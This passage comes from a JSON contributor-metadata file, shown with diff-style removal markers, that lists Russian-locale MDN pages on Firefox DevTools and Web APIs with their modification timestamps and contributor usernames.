- "contributors": [
- "Skadelig",
- "DmitriyKurto",
- "wbamberg",
- "bambus"
- ]
- },
- "Tools/Page_Inspector/How_to/Examine_and_edit_HTML": {
- "modified": "2020-07-16T22:34:41.383Z",
- "contributors": [
- "wbamberg",
- "Aleksej",
- "trevorh"
- ]
- },
- "Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model": {
- "modified": "2020-07-16T22:34:34.616Z",
- "contributors": [
- "rowest",
- "wbamberg",
- "equilibrium07"
- ]
- },
- "Tools/Page_Inspector/How_to/Inspect_and_select_colors": {
- "modified": "2020-07-16T22:34:35.283Z",
- "contributors": [
- "wbamberg",
- "gbuks",
- "Sheppy",
- "Aleksej"
- ]
- },
- "Tools/Page_Inspector/How_to/Otkrytie_Inspektora": {
- "modified": "2020-07-16T22:34:33.193Z",
- "contributors": [
- "wbamberg",
- "Aleksej"
- ]
- },
- "Tools/Page_Inspector/How_to/Vybor_elementa": {
- "modified": "2020-07-16T22:34:33.837Z",
- "contributors": [
- "wbamberg",
- "trevorh",
- "Aleksej"
- ]
- },
- "Tools/Page_Inspector/How_to/Work_with_animations": {
- "modified": "2020-07-16T22:34:37.336Z",
- "contributors": [
- "wbamberg",
- "Tihoem",
- "teoli",
- "Vatheslav"
- ]
- },
- "Tools/Page_Inspector/How_to/Исследовать_event_listeners": {
- "modified": "2020-07-16T22:34:35.938Z",
- "contributors": [
- "wbamberg",
- "nzmb"
- ]
- },
- "Tools/Page_Inspector/How_to/Просмотр_шрифтов": {
- "modified": "2020-07-16T22:34:39.270Z",
- "contributors": [
- "wbamberg",
- "Aleksej"
- ]
- },
- "Tools/Page_Inspector/UI_Tour": {
- "modified": "2020-07-16T22:34:49.708Z",
- "contributors": [
- "wbamberg",
- "AnkaChurkina",
- "Vatheslav",
- "savkin.ser40",
- "Aleksej"
- ]
- },
- "Tools/Page_Inspector/Сочетания_клавиш": {
- "modified": "2020-07-16T22:34:52.844Z",
- "contributors": [
- "wbamberg",
- "Aleksej"
- ]
- },
- "Tools/Profiler": {
- "modified": "2020-07-16T22:35:29.176Z",
- "contributors": [
- "wbamberg",
- "CamelFoe"
- ]
- },
- "Tools/Release_notes": {
- "modified": "2020-07-16T22:35:57.039Z",
- "contributors": [
- "wbamberg",
- "dimon4ezzz",
- "Aleksej",
- "uleming"
- ]
- },
- "Tools/Remote_Debugging": {
- "modified": "2020-07-16T22:35:38.183Z",
- "contributors": [
- "wbamberg",
- "pk.prog",
- "kot-ofSoul33",
- "Aleksej",
- "Bely",
- "+79091168571",
- "17111970",
- "zzzjonzzz1",
- "Apofio",
- "Denisssov",
- "lana25070",
- "ss-terva",
- "SPython",
- "Vovan",
- "alekjara1983",
- "poopsmalipoops"
- ]
- },
- "Tools/Remote_Debugging/Debugging_Firefox_Desktop": {
- "modified": "2020-07-16T22:35:41.377Z",
- "contributors": [
- "wbamberg",
- "pk.prog"
- ]
- },
- "Tools/Remote_Debugging/Firefox_for_Android": {
- "modified": "2020-07-16T22:35:39.440Z",
- "contributors": [
- "wbamberg",
- "DmNsk2016",
- "MAJTREJ",
- "kalev19999",
- "Aleksej",
- "ViT09",
- "Bara",
- "mamoru",
- "Timka",
- "d.danilin"
- ]
- },
- "Tools/Responsive_Design_View": {
- "modified": "2020-07-16T22:35:22.392Z",
- "contributors": [
- "dartraiden",
- "wbamberg",
- "brattri3",
- "Aleksej",
- "teoli",
- "Tihoem",
- "lobanok1973"
- ]
- },
- "Tools/Settings": {
- "modified": "2020-07-16T22:36:35.662Z",
- "contributors": [
- "wbamberg",
- "ostrovsky7474"
- ]
- },
- "Tools/Shader_Editor": {
- "modified": "2020-07-16T22:35:54.887Z",
- "contributors": [
- "wbamberg",
- "stephaniehobson",
- "Zodo_Whiteman",
- "bassam",
- "Tihoem"
- ]
- },
- "Tools/Storage_Inspector": {
- "modified": "2020-07-16T22:36:10.465Z",
- "contributors": [
- "wbamberg",
- "warsan"
- ]
- },
- "Tools/Style_Editor": {
- "modified": "2020-07-16T22:35:01.847Z",
- "contributors": [
- "crabovwik",
- "wbamberg",
- "Tihoem",
- "bassam",
- "ViT09",
- "Burguy",
- "Artur"
- ]
- },
- "Tools/Tools_Toolbox": {
- "modified": "2020-07-16T22:35:28.238Z",
- "contributors": [
- "wbamberg",
- "kavabung",
- "helperman",
- "Aleksej",
- "lesniksanyss",
- "martynbm",
- "Tema",
- "nshahtinsk@yandex.ru",
- "uleming"
- ]
- },
- "Tools/Web_Audio_Editor": {
- "modified": "2020-07-16T22:36:08.840Z",
- "contributors": [
- "wbamberg",
- "arturparkhisenko",
- "john-sorah",
- "AnonZIK86",
- "Aleksej",
- "Mishanya"
- ]
- },
- "Tools/Web_Console": {
- "modified": "2020-07-16T22:34:09.594Z",
- "contributors": [
- "wbamberg",
- "coycmapmap",
- "olkr",
- "241299",
- "ghost28147",
- "Tihoem",
- "lfybc",
- "kirillivan0ff",
- "uleming",
- "Aleksej",
- "bassam",
- "Sheppy"
- ]
- },
- "Tools/Web_Console/Helpers": {
- "modified": "2020-07-16T22:34:13.359Z",
- "contributors": [
- "wbamberg",
- "pronweb",
- "Aleksej",
- "Igor_V_Belousov"
- ]
- },
- "Tools/Web_Console/Opening_the_Web_Console": {
- "modified": "2020-07-16T22:34:17.559Z",
- "contributors": [
- "wbamberg",
- "vicamoto"
- ]
- },
- "Tools/Web_Console/Split_console": {
- "modified": "2020-11-05T09:47:01.540Z",
- "contributors": [
- "ksam",
- "morisbartyno",
- "wbamberg",
- "Igor7779"
- ]
- },
- "Tools/Working_with_iframes": {
- "modified": "2020-07-16T22:36:12.143Z",
- "contributors": [
- "wbamberg",
- "Tihoem"
- ]
- },
- "Tools/about:debugging": {
- "modified": "2020-07-16T22:36:33.303Z",
- "contributors": [
- "wbamberg",
- "ar4ell",
- "olegpv",
- "L18-666B"
- ]
- },
- "Tools/Инспектор_доступности": {
- "modified": "2020-07-16T22:36:40.152Z",
- "contributors": [
- "dartraiden",
- "s1lver",
- "cogor"
- ]
- },
- "Tools/Консоль_браузера": {
- "modified": "2020-07-16T22:35:42.837Z",
- "contributors": [
- "wbamberg",
- "Grief",
- "vicamoto",
- "Aleksej"
- ]
- },
- "Tools/Линейки": {
- "modified": "2020-07-16T22:36:26.593Z",
- "contributors": [
- "wbamberg",
- "thepocp",
- "SynCap"
- ]
- },
- "Tools/Производительность": {
- "modified": "2020-07-16T22:36:13.723Z",
- "contributors": [
- "wbamberg",
- "s1lver",
- "nemcik7",
- "matador21385",
- "Ellgine"
- ]
- },
- "Tools/Производительность/Waterfall": {
- "modified": "2020-07-16T22:36:18.443Z",
- "contributors": [
- "wbamberg",
- "karambaJob"
- ]
- },
- "Using_Firefox_1.5_caching": {
- "modified": "2019-03-23T23:34:25.573Z",
- "contributors": [
- "wbamberg",
- "nakhodkiin",
- "torbasow"
- ]
- },
- "Web": {
- "modified": "2019-12-27T12:18:45.702Z",
- "contributors": [
- "Skadelig",
- "bershanskiy",
- "Forshortmrmeth",
- "dstereo",
- "pk.prog",
- "Aleksej",
- "sputnik1986",
- "Troynov",
- "uleming",
- "lemeh",
- "Norville",
- "slaykovsky",
- "sanecin",
- "Sheppy"
- ]
- },
- "Web/API": {
- "modified": "2019-10-12T14:54:20.443Z",
- "contributors": [
- "cosmastar112",
- "BychekRU",
- "teoli",
- "Mingun",
- "ethertank",
- "Sheppy"
- ]
- },
- "Web/API/ANGLE_instanced_arrays": {
- "modified": "2020-10-15T21:56:02.790Z",
- "contributors": [
- "ellizii",
- "RandomIt"
- ]
- },
- "Web/API/AbortController": {
- "modified": "2020-10-15T22:09:33.057Z",
- "contributors": [
- "SerzN1"
- ]
- },
- "Web/API/AbortController/AbortController": {
- "modified": "2020-10-15T22:16:51.530Z",
- "contributors": [
- "VerZsuT"
- ]
- },
- "Web/API/AbortController/abort": {
- "modified": "2020-10-15T22:16:51.914Z",
- "contributors": [
- "VerZsuT"
- ]
- },
- "Web/API/AbortController/signal": {
- "modified": "2020-10-15T22:16:51.989Z",
- "contributors": [
- "VerZsuT"
- ]
- },
- "Web/API/AbortSignal": {
- "modified": "2020-10-15T22:16:51.893Z",
- "contributors": [
- "VerZsuT"
- ]
- },
- "Web/API/AbortSignal/abort_event": {
- "modified": "2019-04-30T13:59:32.916Z",
- "contributors": [
- "wbamberg",
- "fscholz",
- "VerZsuT"
- ]
- },
- "Web/API/AbortSignal/aborted": {
- "modified": "2020-10-15T22:16:51.730Z",
- "contributors": [
- "VerZsuT"
- ]
- },
- "Web/API/AbortSignal/onabort": {
- "modified": "2020-10-15T22:16:51.482Z",
- "contributors": [
- "VerZsuT"
- ]
- },
- "Web/API/AbstractWorker": {
- "modified": "2020-10-15T22:21:08.647Z",
- "contributors": [
- "bennaver"
- ]
- },
- "Web/API/Ambient_Light_Events": {
- "modified": "2019-03-23T22:28:03.691Z",
- "contributors": [
- "a-chepugov"
- ]
- },
- "Web/API/AnalyserNode": {
- "modified": "2020-10-15T22:18:41.838Z",
- "contributors": [
- "dmitrachkov",
- "meskalito89"
- ]
- },
- "Web/API/Animation": {
- "modified": "2020-10-19T06:16:33.554Z",
- "contributors": [
- "Mh-Tahir",
- "MuradAz",
- "schufner"
- ]
- },
- "Web/API/Animation/cancel": {
- "modified": "2019-03-18T21:44:10.972Z",
- "contributors": [
- "MuradAz"
- ]
- },
- "Web/API/AnimationEvent": {
- "modified": "2019-03-23T22:27:52.691Z",
- "contributors": [
- "fscholz",
- "Taimayr"
- ]
- },
- "Web/API/AnimationEvent/AnimationEvent": {
- "modified": "2020-10-15T22:25:07.472Z",
- "contributors": [
- "BellaBe"
- ]
- },
- "Web/API/Attr": {
- "modified": "2019-03-18T21:40:03.351Z",
- "contributors": [
- "Ruswit",
- "dieillusion"
- ]
- },
- "Web/API/AudioBuffer": {
- "modified": "2019-03-23T22:10:06.369Z",
- "contributors": [
- "customizer",
- "rcanedu"
- ]
- },
- "Web/API/AudioContext": {
- "modified": "2019-03-23T23:03:25.483Z",
- "contributors": [
- "nikitaermishin",
- "Grinv",
- "caucasian"
- ]
- },
- "Web/API/AudioContext/createMediaElementSource": {
- "modified": "2019-03-23T22:32:07.727Z",
- "contributors": [
- "Agreggor"
- ]
- },
- "Web/API/AudioContext/createPanner": {
- "modified": "2019-03-23T22:07:18.379Z",
- "contributors": [
- "customizer"
- ]
- },
- "Web/API/AudioContext/currentTime": {
- "modified": "2019-03-23T23:09:25.759Z",
- "contributors": [
- "fscholz",
- "Galamoon"
- ]
- },
- "Web/API/AudioContext/decodeAudioData": {
- "modified": "2019-03-23T22:31:37.197Z",
- "contributors": [
- "fleknvrsk"
- ]
- },
- "Web/API/AudioNode": {
- "modified": "2019-03-23T22:22:26.132Z",
- "contributors": [
- "cjbars"
- ]
- },
- "Web/API/AudioNode/channelCount": {
- "modified": "2019-03-23T22:22:15.805Z",
- "contributors": [
- "cjbars"
- ]
- },
- "Web/API/AudioNode/context": {
- "modified": "2019-03-23T22:22:11.422Z",
- "contributors": [
- "cjbars"
- ]
- },
- "Web/API/AudioParam": {
- "modified": "2020-10-15T22:34:42.173Z",
- "contributors": [
- "chrisdavidmills"
- ]
- },
- "Web/API/AudioParam/setValueAtTime": {
- "modified": "2020-10-15T22:34:37.605Z",
- "contributors": [
- "mazahaka186"
- ]
- },
- "Web/API/BatteryManager": {
- "modified": "2020-10-15T21:52:45.671Z",
- "contributors": [
- "bershanskiy",
- "nikitaermishin"
- ]
- },
- "Web/API/Beacon_API": {
- "modified": "2019-06-26T15:28:38.657Z",
- "contributors": [
- "bakugod"
- ]
- },
- "Web/API/BeforeInstallPromptEvent": {
- "modified": "2020-10-15T22:34:58.748Z",
- "contributors": [
- "beltimor"
- ]
- },
- "Web/API/BeforeInstallPromptEvent/prompt": {
- "modified": "2020-10-15T22:34:58.697Z",
- "contributors": [
- "beltimor"
- ]
- },
- "Web/API/BeforeUnloadEvent": {
- "modified": "2020-10-15T22:04:47.428Z",
- "contributors": [
- "ivanson",
- "warsan"
- ]
- },
- "Web/API/Blob": {
- "modified": "2020-10-15T21:46:53.433Z",
- "contributors": [
- "grebenyukov",
- "YozhEzhi",
- "Miroshy",
- "B0ER",
- "bagau",
- "Bargamut",
- "hunty",
- "eugenezabolotny",
- "BitChap",
- "lexx182a",
- "saga111a",
- "MuradAz"
- ]
- },
- "Web/API/Blob/Blob": {
- "modified": "2019-03-23T22:18:54.906Z",
- "contributors": [
- "RblSb",
- "coshturnina"
- ]
- },
- "Web/API/Blob/slice": {
- "modified": "2020-10-15T22:10:18.280Z",
- "contributors": [
- "pottsnoc"
- ]
- },
- "Web/API/Bluetooth": {
- "modified": "2020-10-15T22:18:48.319Z",
- "contributors": [
- "sh7dm",
- "black_white2018"
- ]
- },
- "Web/API/BluetoothRemoteGATTServer": {
- "modified": "2020-10-15T22:31:47.841Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/Body": {
- "modified": "2020-10-15T22:06:24.327Z",
- "contributors": [
- "RickBrown"
- ]
- },
- "Web/API/Body/arrayBuffer": {
- "modified": "2020-10-15T22:12:53.458Z",
- "contributors": [
- "SerzN1"
- ]
- },
- "Web/API/Body/formData": {
- "modified": "2020-10-15T22:14:02.669Z",
- "contributors": [
- "Aparin"
- ]
- },
- "Web/API/Body/json": {
- "modified": "2020-10-15T22:06:25.317Z",
- "contributors": [
- "dasha_hshr"
- ]
- },
- "Web/API/BroadcastChannel": {
- "modified": "2020-10-15T22:08:52.446Z",
- "contributors": [
- "curdwithraisins"
- ]
- },
- "Web/API/BroadcastChannel/postMessage": {
- "modified": "2020-10-15T22:31:47.108Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/ByteString": {
- "modified": "2019-09-13T04:40:19.326Z",
- "contributors": [
- "ekirpichyov",
- "opereverzeva"
- ]
- },
- "Web/API/CDATASection": {
- "modified": "2020-10-15T22:08:24.955Z",
- "contributors": [
- "ivanson"
- ]
- },
- "Web/API/CSS": {
- "modified": "2020-05-08T19:38:47.163Z",
- "contributors": [
- "violetta.aslanidi",
- "AlexAlex"
- ]
- },
- "Web/API/CSSConditionRule": {
- "modified": "2019-03-18T21:38:21.742Z",
- "contributors": [
- "ferym"
- ]
- },
- "Web/API/CSSRule": {
- "modified": "2019-03-23T22:22:15.088Z",
- "contributors": [
- "schufner"
- ]
- },
- "Web/API/CSSStyleDeclaration": {
- "modified": "2020-10-15T21:55:57.099Z",
- "contributors": [
- "renuo-nego",
- "ellizii",
- "ildar_ibragimov",
- "Sebastianz"
- ]
- },
- "Web/API/CSSStyleDeclaration/getPropertyValue": {
- "modified": "2019-03-23T22:08:39.094Z",
- "contributors": [
- "WispProxy"
- ]
- },
- "Web/API/CSSStyleSheet": {
- "modified": "2020-10-15T22:19:39.490Z",
- "contributors": [
- "Ostanioni"
- ]
- },
- "Web/API/CSSValue": {
- "modified": "2020-10-15T22:25:52.327Z",
- "contributors": [
- "Skadelig"
- ]
- },
- "Web/API/CSS_Object_Model": {
- "modified": "2019-04-10T08:08:07.197Z",
- "contributors": [
- "faramozzayw"
- ]
- },
- "Web/API/CSS_Object_Model/ориентация_экрана": {
- "modified": "2020-09-02T10:45:25.377Z",
- "contributors": [
- "bogpok"
- ]
- },
- "Web/API/Cache": {
- "modified": "2019-04-16T15:21:13.018Z",
- "contributors": [
- "Matroskin94",
- "WispProxy",
- "curdwithraisins",
- "utking"
- ]
- },
- "Web/API/Cache/add": {
- "modified": "2020-10-15T21:49:03.908Z",
- "contributors": [
- "ekirpichyov",
- "utking"
- ]
- },
- "Web/API/Cache/addAll": {
- "modified": "2019-03-23T22:27:37.013Z",
- "contributors": [
- "severn101",
- "utking"
- ]
- },
- "Web/API/Cache/delete": {
- "modified": "2019-03-18T21:17:10.073Z",
- "contributors": [
- "utking"
- ]
- },
- "Web/API/Cache/keys": {
- "modified": "2019-03-23T22:27:28.725Z",
- "contributors": [
- "utking"
- ]
- },
- "Web/API/Cache/match": {
- "modified": "2019-03-18T21:17:09.482Z",
- "contributors": [
- "utking"
- ]
- },
- "Web/API/Cache/matchAll": {
- "modified": "2019-03-26T09:53:45.324Z",
- "contributors": [
- "RomanKontsevoy",
- "utking"
- ]
- },
- "Web/API/Cache/put": {
- "modified": "2020-10-15T22:14:25.067Z",
- "contributors": [
- "fdor"
- ]
- },
- "Web/API/CacheStorage": {
- "modified": "2019-03-23T22:25:19.771Z",
- "contributors": [
- "zhrivodkin",
- "z56",
- "curdwithraisins",
- "yujianrong@gmail.com"
- ]
- },
- "Web/API/CacheStorage/match": {
- "modified": "2020-10-15T22:11:45.911Z",
- "contributors": [
- "timur-gilauri"
- ]
- },
- "Web/API/CacheStorage/open": {
- "modified": "2019-03-18T21:10:18.504Z",
- "contributors": [
- "arturbulgac",
- "SphinxKnight"
- ]
- },
- "Web/API/CanvasCaptureMediaStreamTrack": {
- "modified": "2020-10-15T22:29:26.731Z",
- "contributors": [
- "oksanazhubanova"
- ]
- },
- "Web/API/CanvasGradient": {
- "modified": "2019-03-23T22:22:04.688Z",
- "contributors": [
- "PiN"
- ]
- },
- "Web/API/CanvasPattern": {
- "modified": "2020-10-15T22:30:06.682Z",
- "contributors": [
- "pmswga"
- ]
- },
- "Web/API/CanvasRenderingContext2D": {
- "modified": "2019-03-23T22:56:28.677Z",
- "contributors": [
- "antas",
- "dphov",
- "ows-nightwolf",
- "teoli"
- ]
- },
- "Web/API/CanvasRenderingContext2D/arc": {
- "modified": "2019-10-01T17:23:39.743Z",
- "contributors": [
- "aekarimov",
- "Sasha2018RL",
- "SphinxKnight",
- "hemulslava",
- "stanislavdev1993",
- "GruFFix"
- ]
- },
- "Web/API/CanvasRenderingContext2D/arcTo": {
- "modified": "2020-10-15T21:55:29.725Z",
- "contributors": [
- "ekirpichyov",
- "boxa6",
- "GaidaiAndrii"
- ]
- },
- "Web/API/CanvasRenderingContext2D/beginPath": {
- "modified": "2020-10-15T22:05:16.418Z",
- "contributors": [
- "VladyslavG",
- "slychai85"
- ]
- },
- "Web/API/CanvasRenderingContext2D/bezierCurveTo": {
- "modified": "2019-03-23T22:56:36.344Z",
- "contributors": [
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/canvas": {
- "modified": "2020-10-15T21:39:03.998Z",
- "contributors": [
- "boxa6",
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/clearRect": {
- "modified": "2019-03-23T22:56:45.336Z",
- "contributors": [
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/closePath": {
- "modified": "2020-10-15T22:16:30.988Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Web/API/CanvasRenderingContext2D/createLinearGradient": {
- "modified": "2020-11-02T20:54:02.674Z",
- "contributors": [
- "MendyBerger",
- "d0rj",
- "Zilfaron"
- ]
- },
- "Web/API/CanvasRenderingContext2D/currentTransform": {
- "modified": "2020-10-15T21:39:04.221Z",
- "contributors": [
- "boxa6",
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/drawImage": {
- "modified": "2019-03-18T21:45:52.644Z",
- "contributors": [
- "TyLoCoder",
- "nkizza"
- ]
- },
- "Web/API/CanvasRenderingContext2D/ellipse": {
- "modified": "2020-10-15T22:32:25.815Z",
- "contributors": [
- "podocenov"
- ]
- },
- "Web/API/CanvasRenderingContext2D/fill": {
- "modified": "2020-10-15T22:01:36.040Z",
- "contributors": [
- "mRoot"
- ]
- },
- "Web/API/CanvasRenderingContext2D/fillRect": {
- "modified": "2019-03-23T22:56:37.281Z",
- "contributors": [
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/fillStyle": {
- "modified": "2020-10-15T21:46:40.981Z",
- "contributors": [
- "ekirpichyov",
- "boxa6",
- "Thud97"
- ]
- },
- "Web/API/CanvasRenderingContext2D/fillText": {
- "modified": "2020-06-05T11:07:04.946Z",
- "contributors": [
- "annaindistress",
- "Thud97"
- ]
- },
- "Web/API/CanvasRenderingContext2D/font": {
- "modified": "2020-10-15T22:16:33.045Z",
- "contributors": [
- "ekirpichyov",
- "boxa6"
- ]
- },
- "Web/API/CanvasRenderingContext2D/getImageData": {
- "modified": "2020-10-15T21:50:17.666Z",
- "contributors": [
- "boxa6",
- "Faik-man"
- ]
- },
- "Web/API/CanvasRenderingContext2D/getLineDash": {
- "modified": "2020-10-15T22:29:26.649Z",
- "contributors": [
- "Maxim-Bernashevsky"
- ]
- },
- "Web/API/CanvasRenderingContext2D/globalAlpha": {
- "modified": "2020-10-15T22:18:07.437Z",
- "contributors": [
- "Lavrusha"
- ]
- },
- "Web/API/CanvasRenderingContext2D/lineCap": {
- "modified": "2020-10-15T21:46:40.128Z",
- "contributors": [
- "ekirpichyov",
- "boxa6",
- "Thud97"
- ]
- },
- "Web/API/CanvasRenderingContext2D/lineDashOffset": {
- "modified": "2020-10-15T22:20:35.269Z",
- "contributors": [
- "faramozzayw"
- ]
- },
- "Web/API/CanvasRenderingContext2D/lineJoin": {
- "modified": "2020-10-15T21:46:41.154Z",
- "contributors": [
- "boxa6",
- "Thud97"
- ]
- },
- "Web/API/CanvasRenderingContext2D/lineTo": {
- "modified": "2020-10-15T22:16:32.076Z",
- "contributors": [
- "ekirpichyov",
- "boxa6"
- ]
- },
- "Web/API/CanvasRenderingContext2D/lineWidth": {
- "modified": "2019-03-23T22:32:24.777Z",
- "contributors": [
- "Thud97"
- ]
- },
- "Web/API/CanvasRenderingContext2D/measureText": {
- "modified": "2020-10-15T22:24:54.113Z",
- "contributors": [
- "Aliser"
- ]
- },
- "Web/API/CanvasRenderingContext2D/miterLimit": {
- "modified": "2020-10-15T22:22:46.560Z",
- "contributors": [
- "Maxim-Bernashevsky",
- "xsltdev.ru"
- ]
- },
- "Web/API/CanvasRenderingContext2D/moveTo": {
- "modified": "2019-03-23T22:56:45.526Z",
- "contributors": [
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/putImageData": {
- "modified": "2020-10-15T22:20:36.324Z",
- "contributors": [
- "hcodes",
- "VitaliyBaryliuk",
- "faramozzayw"
- ]
- },
- "Web/API/CanvasRenderingContext2D/rect": {
- "modified": "2019-03-23T22:56:38.971Z",
- "contributors": [
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/restore": {
- "modified": "2020-10-15T22:22:51.562Z",
- "contributors": [
- "xsltdev.ru"
- ]
- },
- "Web/API/CanvasRenderingContext2D/rotate": {
- "modified": "2020-10-15T22:01:04.277Z",
- "contributors": [
- "bagau"
- ]
- },
- "Web/API/CanvasRenderingContext2D/save": {
- "modified": "2020-10-15T22:22:01.973Z",
- "contributors": [
- "tymino"
- ]
- },
- "Web/API/CanvasRenderingContext2D/stroke": {
- "modified": "2020-10-15T22:05:16.536Z",
- "contributors": [
- "kamennova",
- "boxa6",
- "slychai85"
- ]
- },
- "Web/API/CanvasRenderingContext2D/strokeRect": {
- "modified": "2019-03-23T22:56:36.148Z",
- "contributors": [
- "ows-nightwolf"
- ]
- },
- "Web/API/CanvasRenderingContext2D/strokeStyle": {
- "modified": "2019-03-23T22:32:09.808Z",
- "contributors": [
- "Thud97"
- ]
- },
- "Web/API/CanvasRenderingContext2D/strokeText": {
- "modified": "2019-03-23T22:32:26.139Z",
- "contributors": [
- "Thud97"
- ]
- },
- "Web/API/CanvasRenderingContext2D/textAlign": {
- "modified": "2020-10-15T22:06:58.446Z",
- "contributors": [
- "Omiant"
- ]
- },
- "Web/API/CanvasRenderingContext2D/textBaseline": {
- "modified": "2020-10-15T22:16:32.202Z",
- "contributors": [
- "boxa6"
- ]
- },
- "Web/API/Canvas_API": {
- "modified": "2019-09-24T02:32:50.710Z",
- "contributors": [
- "antas",
- "ivaskonyan",
- "MuradAz",
- "klimov-rv",
- "PiN",
- "uleming",
- "askolt",
- "fscholz",
- "3bl3gamer",
- "Neir",
- "teoli"
- ]
- },
- "Web/API/Canvas_API/A_basic_ray-caster": {
- "modified": "2019-09-18T08:14:03.985Z",
- "contributors": [
- "post032"
- ]
- },
- "Web/API/Canvas_API/Tutorial": {
- "modified": "2020-10-26T13:40:20.070Z",
- "contributors": [
- "warsand",
- "chrisdavidmills",
- "DzhanikM",
- "warsan",
- "VladykoD",
- "zero-t4",
- "McBurns",
- "StyleToken",
- "fil7",
- "vladimir_gamalian",
- "fscholz",
- "Neir",
- "ut2010",
- "hmelenok",
- "RokkerRuslan",
- "kscarfone"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Advanced_animations": {
- "modified": "2019-07-06T14:24:11.022Z",
- "contributors": [
- "SphinxKnight",
- "PorkyPi",
- "scanick",
- "Costigans",
- "andvseti"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Basic_usage": {
- "modified": "2020-06-19T15:51:41.853Z",
- "contributors": [
- "hisbvdis",
- "Maxim-Bernashevsky",
- "konstantin.paulkin",
- "StanEffy",
- "alantishin",
- "MasterOfMenace",
- "boxa6",
- "jynweythek",
- "vinttos",
- "gearmobile",
- "teoli",
- "askolt",
- "fscholz",
- "Culttm",
- "lazyexpert",
- "Neir",
- "raspberry59",
- "hmelenok",
- "Techno1994"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Finale": {
- "modified": "2019-03-23T22:09:14.329Z",
- "contributors": [
- "Ferguse"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Optimizing_canvas": {
- "modified": "2019-08-13T15:55:40.668Z",
- "contributors": [
- "demyanovs"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas": {
- "modified": "2020-05-26T16:27:49.694Z",
- "contributors": [
- "Skraer",
- "AlexeyH",
- "VladIT4",
- "Garloy",
- "Liubava77"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Transformations": {
- "modified": "2020-11-03T10:47:59.000Z",
- "contributors": [
- "geschaft59rus",
- "PorkyPi",
- "shortship",
- "andvseti"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Использование_изображений": {
- "modified": "2019-03-18T20:59:25.160Z",
- "contributors": [
- "Costigans",
- "aderin",
- "Theana27",
- "Feuway",
- "4esnog",
- "MaxManchak",
- "Taova",
- "MuradAz"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Композиции": {
- "modified": "2019-03-23T22:07:28.505Z",
- "contributors": [
- "shortship",
- "Alex1995markson",
- "bad4iz"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Основы_анимации": {
- "modified": "2019-03-18T20:39:12.629Z",
- "contributors": [
- "korobkov",
- "scanick",
- "fenfil",
- "komuroe",
- "Isk1n",
- "evgeniy83",
- "Vovanostm",
- "SphinxKnight",
- "fscholz",
- "RokkerRuslan"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Применение_стилей_и_цветов": {
- "modified": "2020-06-21T00:28:29.747Z",
- "contributors": [
- "hisbvdis",
- "coolwebdev",
- "RomatoPotato",
- "levi2ki",
- "warsan",
- "artrudov",
- "mormiron",
- "jynweythek",
- "fil7",
- "Theana27",
- "Sebastianz",
- "SphinxKnight",
- "fscholz",
- "Neir"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Рисование_текста": {
- "modified": "2020-11-03T08:47:25.074Z",
- "contributors": [
- "geschaft59rus",
- "AVerutin",
- "mish7046",
- "lavavrik"
- ]
- },
- "Web/API/Canvas_API/Tutorial/Рисование_фигур": {
- "modified": "2020-07-28T09:22:42.924Z",
- "contributors": [
- "AVerutin",
- "warsan",
- "mi5ha6in",
- "mkarkachov",
- "artrudov",
- "mikomister",
- "dedotmoroz",
- "GaidaiAndrii",
- "DuckerMan",
- "hraboviyvadim",
- "jynweythek",
- "dyachenco",
- "fil7",
- "nakhodkiin",
- "gearmobile",
- "teoli",
- "fscholz",
- "Mirsait",
- "Neir"
- ]
- },
- "Web/API/CharacterData": {
- "modified": "2020-10-15T22:08:25.066Z",
- "contributors": [
- "ivanson"
- ]
- },
- "Web/API/ChildNode": {
- "modified": "2019-03-23T22:51:21.900Z",
- "contributors": [
- "untritt",
- "pantherCZ"
- ]
- },
- "Web/API/ChildNode/remove": {
- "modified": "2019-03-23T22:51:25.031Z",
- "contributors": [
- "neoxaker",
- "NikitaCoder",
- "In4in"
- ]
- },
- "Web/API/ChildNode/replaceWith": {
- "modified": "2020-12-02T15:53:32.691Z",
- "contributors": [
- "kosarev_va"
- ]
- },
- "Web/API/Clients": {
- "modified": "2019-03-23T22:15:29.932Z",
- "contributors": [
- "WispProxy",
- "curdwithraisins",
- "chrisdavidmills"
- ]
- },
- "Web/API/Clients/claim": {
- "modified": "2019-10-18T13:48:46.959Z",
- "contributors": [
- "mcmimik",
- "curdwithraisins"
- ]
- },
- "Web/API/Clients/openWindow": {
- "modified": "2020-10-15T22:34:56.508Z",
- "contributors": [
- "beltimor"
- ]
- },
- "Web/API/ClipboardEvent": {
- "modified": "2019-03-23T22:10:37.681Z",
- "contributors": [
- "fscholz",
- "Pyastolov",
- "nikolaifedorov"
- ]
- },
- "Web/API/Clipboard_API": {
- "modified": "2020-10-15T22:34:52.946Z",
- "contributors": [
- "beltimor"
- ]
- },
- "Web/API/Comment": {
- "modified": "2020-10-15T22:18:03.333Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/API/Console": {
- "modified": "2019-09-04T06:35:56.879Z",
- "contributors": [
- "damirJa",
- "pk.prog",
- "CiliZ",
- "alexbaumgertner",
- "Aleksej",
- "fscholz"
- ]
- },
- "Web/API/Console/assert": {
- "modified": "2020-10-15T21:45:38.665Z",
- "contributors": [
- "almaceleste",
- "lazyexpert"
- ]
- },
- "Web/API/Console/clear": {
- "modified": "2020-10-15T21:49:40.634Z",
- "contributors": [
- "georgelviv",
- "YozhEzhi",
- "art-gur"
- ]
- },
- "Web/API/Console/count": {
